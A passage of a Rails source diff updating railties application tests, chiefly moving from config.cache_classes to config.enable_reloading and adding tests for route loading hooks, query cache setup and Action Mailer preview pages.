+        config.enable_reloading = true
         config.after_initialize { $order << :after_initialize }
         config.to_prepare { $order << :to_prepare }
       RUBY
@@ -75,7 +76,7 @@ def teardown
     test "after_initialize happens after to_prepare in production" do
       $order = []
       add_to_config <<-RUBY
-        config.cache_classes = true
+        config.enable_reloading = false
         config.after_initialize { $order << :after_initialize }
         config.to_prepare { $order << :to_prepare }
       RUBY
diff --git a/railties/test/application/initializers/i18n_test.rb b/railties/test/application/initializers/i18n_test.rb
index 206e42703b9ff..dd0645e2d181a 100644
--- a/railties/test/application/initializers/i18n_test.rb
+++ b/railties/test/application/initializers/i18n_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
 
 module ApplicationTests
@@ -66,9 +68,25 @@ def assert_no_fallbacks
       assert_includes I18n.load_path, "#{app_path}/config/another_locale.yml"
     end
 
+    test "load_path handles Pathname argument correctly" do
+      app_file "config/another_locale.yml", "en:\nfoo: ~"
+
+      add_to_config <<-RUBY
+        config.i18n.load_path << config.root.join("config/another_locale.yml")
+      RUBY
+
+      load_app
+      assert_equal [
+        "#{app_path}/config/locales/en.yml", Pathname.new("#{app_path}/config/another_locale.yml")
+      ], Rails.application.config.i18n.load_path
+
+      assert_includes I18n.load_path, "#{app_path}/config/locales/en.yml"
+      assert_includes I18n.load_path, Pathname.new("#{app_path}/config/another_locale.yml")
+    end
+
     test "load_path is populated before eager loaded models" do
       add_to_config <<-RUBY
-        config.cache_classes = true
+        config.enable_reloading = false
       RUBY
 
       app_file "config/locales/en.yml", <<-YAML
@@ -98,7 +116,7 @@ class Foo < ActiveRecord::Base
 
     test "locales are reloaded if they change between requests" do
       add_to_config <<-RUBY
-        config.cache_classes = false
+        config.enable_reloading = true
       RUBY
 
       app_file "config/locales/en.yml", <<-YAML
@@ -133,7 +151,7 @@ class Foo < ActiveRecord::Base
 
     test "new locale files are loaded" do
       add_to_config <<-RUBY
-        config.cache_classes = false
+        config.enable_reloading = true
       RUBY
 
       app_file "config/locales/en.yml", <<-YAML
@@ -169,7 +187,7 @@ class Foo < ActiveRecord::Base
 
     test "I18n.load_path is reloaded" do
       add_to_config <<-RUBY
-        config.cache_classes = false
+        config.enable_reloading = true
       RUBY
 
       app_file "config/locales/en.yml", <<-YAML
@@ -235,7 +253,7 @@ class Foo < ActiveRecord::Base
     test "config.i18n.fallbacks.map = { :ca => :'es-ES' } initializes fallbacks with a mapping ca => es-ES" do
       I18n::Railtie.config.i18n.fallbacks.map = { ca: :'es-ES' }
       load_app
-      assert_fallbacks ca: [:ca, :"es-ES", :es, :en]
+      assert_fallbacks ca: [:ca, :"es-ES", :es]
     end
 
     test "[shortcut] config.i18n.fallbacks = [:'en-US'] initializes fallbacks with en-US as a fallback default" do
@@ -245,9 +263,9 @@ class Foo < ActiveRecord::Base
     end
 
     test "[shortcut] config.i18n.fallbacks = [{ :ca => :'es-ES' }] initializes fallbacks with a mapping ca => es-ES" do
-      I18n::Railtie.config.i18n.fallbacks.map = { ca: :'es-ES' }
+      I18n::Railtie.config.i18n.fallbacks = [{ ca: :'es-ES' }]
       load_app
-      assert_fallbacks ca: [:ca, :"es-ES", :es, :en]
+      assert_fallbacks ca: [:ca, :"es-ES", :es]
     end
 
     test "[shortcut] config.i18n.fallbacks = [:'en-US', { :ca => :'es-ES' }] initializes fallbacks with the given arguments" do
diff --git a/railties/test/application/initializers/load_path_test.rb b/railties/test/application/initializers/load_path_test.rb
index dbefb22837cd3..a67e01c83ef4a 100644
--- a/railties/test/application/initializers/load_path_test.rb
+++ b/railties/test/application/initializers/load_path_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
 
 module ApplicationTests
@@ -13,13 +15,13 @@ def teardown
       teardown_app
     end
 
-    test "initializing an application adds the application paths to the load path" do
+    test "initializing an application doesn't add the application paths to the load path" do
       add_to_config <<-RUBY
         config.root = "#{app_path}"
       RUBY
 
       require "#{app_path}/config/environment"
-      assert_includes $:, "#{app_path}/app/models"
+      assert_not_includes $:, "#{app_path}/app/models"
     end
 
     test "initializing an application allows to load code on lib path inside application class definition" do
@@ -89,7 +91,7 @@ module Foo; end
       app_file "config/environments/development.rb", <<-RUBY
         $initialize_test_set_from_env = 'success'
         Rails.application.configure do
-          config.cache_classes = true
+          config.enable_reloading = false
           config.time_zone = "Brasilia"
         end
       RUBY
@@ -102,7 +104,7 @@ module Foo; end
 
       require "#{app_path}/config/environment"
       assert_equal "success", $initialize_test_set_from_env
-      assert Rails.application.config.cache_classes
+      assert_not Rails.application.config.reloading_enabled?
       assert_equal "Brasilia", Rails.application.config.time_zone
     end
   end
diff --git a/railties/test/application/initializers/notifications_test.rb b/railties/test/application/initializers/notifications_test.rb
index b847ac6b361f5..d556f32bc7b69 100644
--- a/railties/test/application/initializers/notifications_test.rb
+++ b/railties/test/application/initializers/notifications_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
 
 module ApplicationTests
@@ -30,6 +32,7 @@ def wait
 
       logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
       ActiveRecord::Base.logger = logger
+      ActiveRecord.verbose_query_logs = false
 
       # Mimic Active Record notifications
       instrument "sql.active_record", name: "SQL", sql: "SHOW tables"
@@ -42,14 +45,9 @@ def wait
     test "rails load_config_initializer event is instrumented" do
       app_file "config/initializers/foo.rb", ""
 
-      events = []
-      callback = ->(*_) { events << _ }
-      ActiveSupport::Notifications.subscribed(callback, "load_config_initializer.railties") do
-        app
-      end
+      notification = assert_notification("load_config_initializer.railties") { app }
 
-      assert_equal %w[load_config_initializer.railties], events.map(&:first)
-      assert_includes events.first.last[:initializer], "config/initializers/foo.rb"
+      assert_match "config/initializers/foo.rb", notification.payload[:initializer]
     end
   end
 end
diff --git a/railties/test/application/integration_test_case_test.rb b/railties/test/application/integration_test_case_test.rb
index 1118e5037ac5b..acedcf03c947a 100644
--- a/railties/test/application/integration_test_case_test.rb
+++ b/railties/test/application/integration_test_case_test.rb
@@ -1,8 +1,11 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
+require "env_helpers"
 
 module ApplicationTests
   class IntegrationTestCaseTest < ActiveSupport::TestCase
-    include ActiveSupport::Testing::Isolation
+    include ActiveSupport::Testing::Isolation, EnvHelpers
 
     setup do
       build_app
@@ -13,10 +16,10 @@ class IntegrationTestCaseTest < ActiveSupport::TestCase
     end
 
     test "resets Action Mailer test deliveries" do
-      script("generate mailer BaseMailer welcome")
+      rails "generate", "mailer", "BaseMailer", "welcome"
 
       app_file "test/integration/mailer_integration_test.rb", <<-RUBY
-        require 'test_helper'
+        require "test_helper"
 
         class MailerIntegrationTest < ActionDispatch::IntegrationTest
           setup do
@@ -37,14 +40,14 @@ class MailerIntegrationTest < ActionDispatch::IntegrationTest
         end
       RUBY
 
-      output = Dir.chdir(app_path) { `bin/rails test 2>&1` }
-      assert_equal 0, $?.to_i, output
+      with_rails_env("test") { rails("db:migrate") }
+      output = rails("test")
       assert_match(/0 failures, 0 errors/, output)
     end
   end
 
   class IntegrationTestDefaultApp < ActiveSupport::TestCase
-    include ActiveSupport::Testing::Isolation
+    include ActiveSupport::Testing::Isolation, EnvHelpers
 
     setup do
       build_app
@@ -56,7 +59,7 @@ class IntegrationTestDefaultApp < ActiveSupport::TestCase
 
     test "app method of integration tests returns test_app by default" do
       app_file "test/integration/default_app_test.rb", <<-RUBY
-        require 'test_helper'
+        require "test_helper"
 
         class DefaultAppIntegrationTest < ActionDispatch::IntegrationTest
           def test_app_returns_action_dispatch_test_app_by_default
@@ -65,8 +68,51 @@ def test_app_returns_action_dispatch_test_app_by_default
         end
       RUBY
 
-      output = Dir.chdir(app_path) { `bin/rails test 2>&1` }
-      assert_equal 0, $?.to_i, output
+      with_rails_env("test") { rails("db:migrate") }
+      output = rails("test")
+      assert_match(/0 failures, 0 errors/, output)
+    end
+
+    test "routes are loaded before inserting test routes" do
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get "/c", as: :c, to: "users#show"
+        end
+      RUBY
+
+      app_file "config/initializers/after_routes_loaded.rb", <<-RUBY
+        Rails.configuration.after_routes_loaded do
+          $after_routes_loaded = true
+        end
+      RUBY
+
+      app_file "app/controllers/users_controller.rb", <<-RUBY
+        class UsersController < ActionController::Base
+          def index
+            render json: { loaded: $after_routes_loaded }
+          end
+        end
+      RUBY
+
+      app_file "test/controllers/users_controller_test.rb", <<-RUBY
+        require "test_helper"
+
+        class UsersControllerTest < ActionDispatch::IntegrationTest
+          with_routing do |set|
+            set.draw do
+              resources(:users, only: :index)
+            end
+          end
+
+          test "lazy route loading" do
+            get("/users")
+
+            assert_equal({ "loaded" => true }, JSON.parse(response.body))
+          end
+        end
+      RUBY
+
+      output = rails("test")
       assert_match(/0 failures, 0 errors/, output)
     end
   end
diff --git a/railties/test/application/loading_test.rb b/railties/test/application/loading_test.rb
index c75a25bc6f8a3..9a80cc45b578c 100644
--- a/railties/test/application/loading_test.rb
+++ b/railties/test/application/loading_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
 
 class LoadingTest < ActiveSupport::TestCase
@@ -32,6 +34,22 @@ class Post < ActiveRecord::Base
     assert_equal "omg", p.title
   end
 
+  test "constants without a matching file raise NameError" do
+    app_file "app/models/post.rb", <<-RUBY
+      class Post
+        NON_EXISTING_CONSTANT
+      end
+    RUBY
+
+    boot_app
+
+    e = assert_raise(NameError) { User }
+    assert_match "uninitialized constant #{self.class}::User", e.message
+
+    e = assert_raise(NameError) { Post }
+    assert_match "uninitialized constant Post::NON_EXISTING_CONSTANT", e.message
+  end
+
   test "concerns in app are autoloaded" do
     app_file "app/controllers/concerns/trackable.rb", <<-CONCERN
       module Trackable
@@ -71,7 +89,9 @@ class User < ActiveRecord::Base
     require "#{rails_root}/config/environment"
     setup_ar!
 
-    User
+    assert_nothing_raised do
+      User
+    end
   end
 
   test "load config/environments/environment before Bootstrap initializers" do
@@ -91,21 +111,30 @@ class User < ActiveRecord::Base
     assert ::Rails.application.config.loaded
   end
 
-  test "descendants loaded after framework initialization are cleaned on each request without cache classes" do
+  test "raises RuntimeError when config/environments/ENV.rb file does not exist" do
+    msg = <<~MSG.squish
+      Rails environment has been set to non_existent_environment but
+      config/environments/non_existent_environment.rb does not exist.
+    MSG
+
+    assert_raise(RuntimeError, match: msg) { boot_app "non_existent_environment" }
+  end
+
+  test "descendants loaded after framework initialization are cleaned on each request if reloading is enabled" do
     add_to_config <<-RUBY
-      config.cache_classes = false
+      config.enable_reloading = true
       config.reload_classes_only_on_change = false
     RUBY
 
     app_file "app/models/post.rb", <<-MODEL
-      class Post < ActiveRecord::Base
+      class Post < ApplicationRecord
       end
     MODEL
 
     app_file "config/routes.rb", <<-RUBY
       Rails.application.routes.draw do
-        get '/load',   to: lambda { |env| [200, {}, Post.all] }
-        get '/unload', to: lambda { |env| [200, {}, []] }
+        get '/load',   to: lambda { |env| Post.all.to_a; [200, {}, [ActiveRecord::Base.descendants.collect(&:to_s).sort.uniq.to_json]] }
+        get '/unload', to: lambda { |env| [200, {}, [ActiveRecord::Base.descendants.collect(&:to_s).sort.uniq.to_json]] }
       end
     RUBY
 
@@ -115,21 +144,27 @@ class Post < ActiveRecord::Base
     require "#{rails_root}/config/environment"
     setup_ar!
 
-    assert_equal [ActiveRecord::SchemaMigration, ActiveRecord::InternalMetadata], ActiveRecord::Base.descendants
+    initial = [
+      ActiveStorage::Record, ActiveStorage::Blob, ActiveStorage::Attachment, ApplicationRecord
+    ].collect(&:to_s).sort
+
+    assert_equal initial, ActiveRecord::Base.descendants.collect(&:to_s).sort.uniq
     get "/load"
-    assert_equal [ActiveRecord::SchemaMigration, ActiveRecord::InternalMetadata, Post], ActiveRecord::Base.descendants
+    assert_equal 200, last_response.status
+    assert_equal ["Post"], JSON.parse(last_response.body) - initial
     get "/unload"
-    assert_equal [ActiveRecord::SchemaMigration, ActiveRecord::InternalMetadata], ActiveRecord::Base.descendants
+    assert_equal 200, last_response.status
+    assert_equal [], JSON.parse(last_response.body) - initial
   end
 
-  test "initialize cant be called twice" do
+  test "initialize can't be called twice" do
     require "#{app_path}/config/environment"
     assert_raise(RuntimeError) { Rails.application.initialize! }
   end
 
   test "reload constants on development" do
     add_to_config <<-RUBY
-      config.cache_classes = false
+      config.enable_reloading = true
     RUBY
 
     app_file "config/routes.rb", <<-RUBY
@@ -164,12 +199,9 @@ def self.counter; 2; end
 
   test "does not reload constants on development if custom file watcher always returns false" do
     add_to_config <<-RUBY
-      config.cache_classes = false
-      config.file_watcher = Class.new do
-        def initialize(*); end
+      config.enable_reloading = true
+      config.file_watcher = Class.new(ActiveSupport::FileUpdateChecker) do
         def updated?; false; end
-        def execute; end
-        def execute_if_updated; false; end
       end
     RUBY
 
@@ -205,7 +237,7 @@ def self.counter; 2; end
 
   test "added files (like db/schema.rb) also trigger reloading" do
     add_to_config <<-RUBY
-      config.cache_classes = false
+      config.enable_reloading = true
     RUBY
 
     app_file "config/routes.rb", <<-RUBY
@@ -237,7 +269,7 @@ class User
 
   test "dependencies reloading is followed by routes reloading" do
     add_to_config <<-RUBY
-      config.cache_classes = false
+      config.enable_reloading = true
     RUBY
 
     app_file "config/routes.rb", <<-RUBY
@@ -268,9 +300,104 @@ class User
     assert_equal "7", last_response.body
   end
 
+
+  test "routes reloading triggers after_routes_loaded" do
+    add_to_config <<-RUBY
+      config.enable_reloading = true
+    RUBY
+
+    app_file "config/routes.rb", <<-RUBY
+      $counter ||= 1
+      $counter  *= 2
+      Rails.application.routes.draw do
+        get '/c', to: lambda { |env| User.name; [200, {"Content-Type" => "text/plain"}, [$counter.to_s]] }
+      end
+    RUBY
+
+    app_file "config/initializers/after_routes_loaded.rb", <<-RUBY
+      Rails.configuration.after_routes_loaded do
+        $counter *= 3
+      end
+    RUBY
+
+    app_file "app/models/user.rb", <<-MODEL
+      class User
+        $counter += 1
+      end
+    MODEL
+
+    require "rack/test"
+    extend Rack::Test::Methods
+
+    require "#{rails_root}/config/environment"
+
+    get "/c"
+    assert_equal "7", last_response.body
+
+    app_file "db/schema.rb", ""
+
+    get "/c"
+    assert_equal "43", last_response.body
+  end
+
+  test "routes are only loaded once on boot" do
+    add_to_config <<-RUBY
+      config.enable_reloading = true
+    RUBY
+
+    app_file "config/routes.rb", <<-RUBY
+      $counter ||= 0
+      $counter += 1
+      Rails.application.routes.draw do
+        get '/c', to: lambda { |env| [200, {"Content-Type" => "text/plain"}, [$counter.to_s]] }
+      end
+    RUBY
+
+    boot_app "development"
+
+    require "rack/test"
+    extend Rack::Test::Methods
+
+    require "#{rails_root}/config/environment"
+
+    get "/c"
+    assert_equal "1", last_response.body
+  end
+
+  test "after_routes_loaded runs once on boot" do
+    add_to_config <<-RUBY
+      config.enable_reloading = true
+    RUBY
+
+    app_file "config/routes.rb", <<-RUBY
+      $counter ||= 0
+      $counter += 1
+      Rails.application.routes.draw do
+        get '/c', to: lambda { |env| [200, {"Content-Type" => "text/plain"}, [$counter.to_s]] }
+      end
+    RUBY
+
+    app_file "config/initializers/after_routes_loaded.rb", <<-RUBY
+      Rails.configuration.after_routes_loaded do
+        $counter *= 3
+      end
+    RUBY
+
+    boot_app "development"
+
+    require "rack/test"
+    extend Rack::Test::Methods
+
+    require "#{rails_root}/config/environment"
+
+    get "/c"
+    assert_equal "3", last_response.body
+  end
+
   test "columns migrations also trigger reloading" do
     add_to_config <<-RUBY
-      config.cache_classes = false
+      config.enable_reloading = true
+      config.active_record.timestamped_migrations = false
     RUBY
 
     app_file "config/routes.rb", <<-RUBY
@@ -298,7 +425,7 @@ def change
       end
     MIGRATION
 
-    Dir.chdir(app_path) { `rake db:migrate` }
+    rails("db:migrate")
     require "#{rails_root}/config/environment"
 
     get "/title"
@@ -312,7 +439,7 @@ def change
       end
     MIGRATION
 
-    Dir.chdir(app_path) { `rake db:migrate` }
+    rails("db:migrate")
 
     get "/body"
     assert_equal "BODY", last_response.body
@@ -350,17 +477,94 @@ def show
   def test_initialize_can_be_called_at_any_time
     require "#{app_path}/config/application"
 
-    assert !Rails.initialized?
-    assert !Rails.application.initialized?
+    assert_not_predicate Rails, :initialized?
+    assert_not_predicate Rails.application, :initialized?
     Rails.initialize!
-    assert Rails.initialized?
-    assert Rails.application.initialized?
+    assert_predicate Rails, :initialized?
+    assert_predicate Rails.application, :initialized?
   end
 
-  private
+  test "frameworks aren't loaded during initialization" do
+    app_file "config/initializers/raise_when_frameworks_load.rb", <<-RUBY
+      %i(action_controller action_mailer active_job active_record action_view).each do |framework|
+        ActiveSupport.on_load(framework) { raise "\#{framework} loaded!" }
+      end
+    RUBY
+
+    assert_nothing_raised do
+      require "#{app_path}/config/environment"
+    end
+  end
+
+  test "active record query cache hooks are installed before first request in production" do
+    app_file "app/controllers/omg_controller.rb", <<-RUBY
+      begin
+        class OmgController < ActionController::Metal
+          ActiveSupport.run_load_hooks(:action_controller, self)
+          def show
+            if ActiveRecord::Base.lease_connection.query_cache_enabled
+              self.response_body = ["Query cache is enabled."]
+            else
+              self.response_body = ["Expected ActiveRecord::Base.lease_connection.query_cache_enabled to be true"]
+            end
+          end
+        end
+      rescue => e
+        puts "Error loading metal: \#{e.class} \#{e.message}"
+      end
+    RUBY
+
+    app_file "config/routes.rb", <<-RUBY
+      Rails.application.routes.draw do
+        get "/:controller(/:action)"
+      end
+    RUBY
+
+    boot_app "production"
+
+    require "rack/test"
+    extend Rack::Test::Methods
+
+    get("/omg/show", {}, "HTTPS" => "on")
+    assert_equal "Query cache is enabled.", last_response.body
+  end
 
+  test "active record query cache hooks are installed before first request in development" do
+    app_file "app/controllers/omg_controller.rb", <<-RUBY
+      begin
+        class OmgController < ActionController::Metal
+          ActiveSupport.run_load_hooks(:action_controller, self)
+          def show
+            if ActiveRecord::Base.lease_connection.query_cache_enabled
+              self.response_body = ["Query cache is enabled."]
+            else
+              self.response_body = ["Expected ActiveRecord::Base.lease_connection.query_cache_enabled to be true"]
+            end
+          end
+        end
+      rescue => e
+        puts "Error loading metal: \#{e.class} \#{e.message}"
+      end
+    RUBY
+
+    app_file "config/routes.rb", <<-RUBY
+      Rails.application.routes.draw do
+        get "/:controller(/:action)"
+      end
+    RUBY
+
+    boot_app "development"
+
+    require "rack/test"
+    extend Rack::Test::Methods
+
+    get "/omg/show"
+    assert_equal "Query cache is enabled.", last_response.body
+  end
+
+  private
     def setup_ar!
-      ActiveRecord::Base.establish_connection(adapter: "sqlite3", database: ":memory:")
+      ActiveRecord::Base.establish_connection
       ActiveRecord::Migration.verbose = false
       ActiveRecord::Schema.define(version: 1) do
         create_table :posts do |t|
@@ -368,4 +572,12 @@ def setup_ar!
         end
       end
     end
+
+    def boot_app(env = "development")
+      ENV["RAILS_ENV"] = env
+
+      require "#{app_path}/config/environment"
+    ensure
+      ENV.delete "RAILS_ENV"
+    end
 end
diff --git a/railties/test/application/mailer_previews_test.rb b/railties/test/application/mailer_previews_test.rb
index c3a360e5d4021..f391859809ecd 100644
--- a/railties/test/application/mailer_previews_test.rb
+++ b/railties/test/application/mailer_previews_test.rb
@@ -1,11 +1,16 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
 require "rack/test"
 require "base64"
+require "rails-dom-testing"
 
 module ApplicationTests
   class MailerPreviewsTest < ActiveSupport::TestCase
     include ActiveSupport::Testing::Isolation
     include Rack::Test::Methods
+    include ERB::Util
+    include Rails::Dom::Testing::Assertions
 
     def setup
       build_app
@@ -23,14 +28,16 @@ def teardown
 
     test "/rails/mailers is not accessible in production" do
       app("production")
-      get "/rails/mailers"
-      assert_equal 404, last_response.status
+      quietly do
+        get("/rails/mailers", {}, { "HTTPS" => "on" })
+        assert_equal 404, last_response.status
+      end
     end
 
     test "/rails/mailers is accessible with correct configuration" do
       add_to_config "config.action_mailer.show_previews = true"
       app("production")
-      get "/rails/mailers", {}, "REMOTE_ADDR" => "4.2.42.42"
+      get "/rails/mailers", {}, { "REMOTE_ADDR" => "4.2.42.42", "HTTPS" => "on" }
       assert_equal 200, last_response.status
     end
 
@@ -52,7 +59,19 @@ def teardown
       assert_equal 200, last_response.status
     end
 
-    test "mailer previews are loaded from the default preview_path" do
+    test "request without mailer previews links to documentation" do
+      app("development")
+
+      get "/rails/mailers"
+      assert_select "title", text: "Action Mailer Previews"
+      assert_select "h1", text: "Action Mailer Previews"
+      assert_select "p", text: "You have not defined any Action Mailer Previews."
+      assert_select "p", text: "Read Action Mailer Basics to learn how to define your first." do
+        assert_select "a[href=?]", "https://guides.rubyonrails.org/action_mailer_basics.html#previewing-emails", text: "Action Mailer Basics"
+      end
+    end
+
+    test "mailer previews are loaded from the default preview_paths" do
       mailer "notifier", <<-RUBY
         class Notifier < ActionMailer::Base
           default from: "from@example.com"
@@ -78,40 +97,47 @@ def foo
       app("development")
 
       get "/rails/mailers"
+      assert_select "title", text: "Action Mailer Previews"
+      assert_select "h1", text: "Action Mailer Previews"
       assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
       assert_match '<li><a href="/rails/mailers/notifier/foo">foo</a></li>', last_response.body
     end
 
-    test "mailer previews are loaded from a custom preview_path" do
-      add_to_config "config.action_mailer.preview_path = '#{app_path}/lib/mailer_previews'"
+    test "mailer previews are loaded from custom preview_paths" do
+      app_dir "lib/mailer_previews"
+      add_to_config "config.action_mailer.preview_paths = ['#{app_path}/lib/notifier_previews', '#{app_path}/lib/confirm_previews']"
 
-      mailer "notifier", <<-RUBY
-        class Notifier < ActionMailer::Base
-          default from: "from@example.com"
+      ["notifier", "confirm"].each do |keyword|
+        mailer keyword, <<-RUBY
+          class #{keyword.camelize} < ActionMailer::Base
+            default from: "from@example.com"
 
-          def foo
-            mail to: "to@example.org"
+            def foo
+              mail to: "to@example.org"
+            end
           end
-        end
-      RUBY
+        RUBY
 
-      text_template "notifier/foo", <<-RUBY
-        Hello, World!
-      RUBY
+        text_template "#{keyword}/foo", <<-RUBY
+          Hello, World!
+        RUBY
 
-      app_file "lib/mailer_previews/notifier_preview.rb", <<-RUBY
-        class NotifierPreview < ActionMailer::Preview
-          def foo
-            Notifier.foo
+        app_file "lib/#{keyword}_previews/notifier_preview.rb", <<-RUBY
+          class #{keyword.camelize}Preview < ActionMailer::Preview
+            def foo
+              #{keyword.camelize}.foo
+            end
           end
-        end
-      RUBY
+        RUBY
+      end
 
       app("development")
 
       get "/rails/mailers"
       assert_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
       assert_match '<li><a href="/rails/mailers/notifier/foo">foo</a></li>', last_response.body
+      assert_match '<h3><a href="/rails/mailers/confirm">Confirm</a></h3>', last_response.body
+      assert_match '<li><a href="/rails/mailers/confirm/foo">foo</a></li>', last_response.body
     end
 
     test "mailer previews are reloaded across requests" do
@@ -251,8 +277,9 @@ def foo
       assert_no_match '<li><a href="/rails/mailers/notifier/bar">bar</a></li>', last_response.body
     end
 
-    test "mailer previews are reloaded from a custom preview_path" do
-      add_to_config "config.action_mailer.preview_path = '#{app_path}/lib/mailer_previews'"
+    test "mailer previews are reloaded from custom preview_paths" do
+      app_dir "lib/mailer_previews"
+      add_to_config "config.action_mailer.preview_paths = ['#{app_path}/lib/mailer_previews']"
 
       app("development")
 
@@ -291,11 +318,59 @@ def foo
       assert_no_match '<h3><a href="/rails/mailers/notifier">Notifier</a></h3>', last_response.body
     end
 
+    test "mailer without previews" do
+      mailer "notifier", <<-RUBY
+        class Notifier < ActionMailer::Base
+        end
+      RUBY
+
+      mailer_preview "notifier", <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+        end
+      RUBY
+
+      app("development")
+      get "/rails/mailers/notifier"
+
+      assert_predicate last_response, :ok?
+      assert_select "title", text: "Action Mailer Previews for notifier"
+      assert_select "h1", text: "Action Mailer Previews for notifier"
+      assert_select "p", text: "You have not defined any actions for NotifierPreview."
+      assert_select "p", text: "Read Action Mailer Basics to learn how to define your first." do
+        assert_select "a[href=?]", "https://guides.rubyonrails.org/action_mailer_basics.html#previewing-emails", text: "Action Mailer Basics"
+      end
+    end
+
+    test "mailer with previews" do
+      mailer "notifier", <<-RUBY
+        class Notifier < ActionMailer::Base
+          def foo
+          end
+        end
+      RUBY
+
+      mailer_preview "notifier", <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      app("development")
+      get "/rails/mailers/notifier"
+
+      assert_predicate last_response, :ok?
+      assert_select "title", text: "Action Mailer Previews for notifier"
+      assert_select "h1", text: "Action Mailer Previews for notifier"
+      assert_select "ul li a[href=?]", "/rails/mailers/notifier/foo"
+    end
+
     test "mailer preview not found" do
       app("development")
       get "/rails/mailers/notifier"
-      assert last_response.not_found?
-      assert_match "Mailer preview &#39;notifier&#39; not found", last_response.body
+      assert_predicate last_response, :not_found?
+      assert_match "Mailer preview &#39;notifier&#39; not found", h(last_response.body)
     end
 
     test "mailer preview email not found" do
@@ -324,8 +399,12 @@ def foo
       app("development")
 
       get "/rails/mailers/notifier/bar"
-      assert last_response.not_found?
-      assert_match "Email &#39;bar&#39; not found in NotifierPreview", last_response.body
+      assert_predicate last_response, :not_found?
+      assert_match "Email &#39;bar&#39; not found in NotifierPreview", h(last_response.body)
+
+      get "/rails/mailers/download/notifier/bar"
+      assert_predicate last_response, :not_found?
+      assert_match "Email &#39;bar&#39; not found in NotifierPreview", h(last_response.body)
     end
 
     test "mailer preview NullMail" do
@@ -380,8 +459,8 @@ def foo
       app("development")
 
       get "/rails/mailers/notifier/foo?part=text%2Fhtml"
-      assert last_response.not_found?
-      assert_match "Email part &#39;text/html&#39; not found in NotifierPreview#foo", last_response.body
+      assert_predicate last_response, :not_found?
+      assert_match "Email part &#39;text/html&#39; not found in NotifierPreview#foo", h(last_response.body)
     end
 
     test "message header uses full display names" do
@@ -412,9 +491,54 @@ def foo
 
       get "/rails/mailers/notifier/foo"
       assert_equal 200, last_response.status
-      assert_match "Ruby on Rails &lt;core@rubyonrails.org&gt;", last_response.body
-      assert_match "Andrew White &lt;andyw@pixeltrix.co.uk&gt;", last_response.body
-      assert_match "David Heinemeier Hansson &lt;david@heinemeierhansson.com&gt;", last_response.body
+      assert_match '<dd id="from">Ruby on Rails &lt;core@rubyonrails.org&gt;</dd>', last_response.body
+      assert_match '<dd id="to">Andrew White &lt;andyw@pixeltrix.co.uk&gt;</dd>', last_response.body
+      assert_match '<dd id="cc">David Heinemeier Hansson &lt;david@heinemeierhansson.com&gt;</dd>', last_response.body
+      assert_no_match '<dd id="smtp_from">', last_response.body
+      assert_no_match '<dd id="smtp_to">', last_response.body
+
+      get "/rails/mailers/download/notifier/foo"
+      email = Mail.read_from_string(last_response.body)
+      assert_equal "attachment; filename=\"foo.eml\"; filename*=UTF-8''foo.eml", last_response.headers["Content-Disposition"]
+      assert_equal 200, last_response.status
+      assert_equal ["andyw@pixeltrix.co.uk"], email.to
+      assert_equal ["david@heinemeierhansson.com"], email.cc
+    end
+
+    test "message header shows SMTP envelope To and From when different than message headers" do
+      mailer "notifier", <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from@example.com"
+
+          def foo
+            message.smtp_envelope_from = "smtp-from@example.com"
+            message.smtp_envelope_to = ["to@example.com", "bcc@example.com"]
+
+            mail to: "to@example.com"
+          end
+        end
+      RUBY
+
+      mailer_preview "notifier", <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      text_template "notifier/foo", <<-RUBY
+        Hello, World!
+      RUBY
+
+      app("development")
+
+      get "/rails/mailers/notifier/foo"
+      assert_equal 200, last_response.status
+      assert_match '<dd id="from">from@example.com</dd>', last_response.body
+      assert_match '<dd id="smtp_from">smtp-from@example.com</dd>', last_response.body
+      assert_match '<dd id="to">to@example.com</dd>', last_response.body
+      assert_match '<dd id="smtp_to">to@example.com, bcc@example.com</dd>', last_response.body
     end
 
     test "part menu selects correct option" do
@@ -448,11 +572,76 @@ def foo
 
       get "/rails/mailers/notifier/foo.html"
       assert_equal 200, last_response.status
-      assert_match '<option selected value="?part=text%2Fhtml">View as HTML email</option>', last_response.body
+      assert_match '<option selected value="part=text%2Fhtml">View as HTML email</option>', last_response.body
+
+      get "/rails/mailers/notifier/foo.txt"
+      assert_equal 200, last_response.status
+      assert_match '<option selected value="part=text%2Fplain">View as plain-text email</option>', last_response.body
+    end
+
+    test "locale menu selects correct option" do
+      app_file "config/initializers/available_locales.rb", <<-RUBY
+        Rails.application.configure do
+          config.i18n.available_locales = %i[en ja]
+        end
+      RUBY
+
+      mailer "notifier", <<-RUBY
+        class Notifier < ActionMailer::Base
+          default from: "from@example.com"
+
+          def foo
+            mail to: "to@example.org"
+          end
+        end
+      RUBY
+
+      html_template "notifier/foo", <<-RUBY
+        <p>Hello, World!</p>
+      RUBY
+
+      text_template "notifier/foo", <<-RUBY
+        Hello, World!
+      RUBY
+
+      mailer_preview "notifier", <<-RUBY
+        class NotifierPreview < ActionMailer::Preview
+          def foo
+            Notifier.foo
+          end
+        end
+      RUBY
+
+      app("development")
+
+      get "/rails/mailers/notifier/foo.html"
+      assert_equal 200, last_response.status
+      assert_match '<option selected value="locale=en">en', last_response.body
+      assert_match '<option  value="locale=ja">ja', last_response.body
+
+      get "/rails/mailers/notifier/foo.html?locale=ja"
+      assert_equal 200, last_response.status
+      assert_match '<option  value="locale=en">en', last_response.body
+      assert_match '<option selected value="locale=ja">ja', last_response.body
 
       get "/rails/mailers/notifier/foo.txt"
       assert_equal 200, last_response.status
-      assert_match '<option selected value="?part=text%2Fplain">View as plain-text email</option>', last_response.body
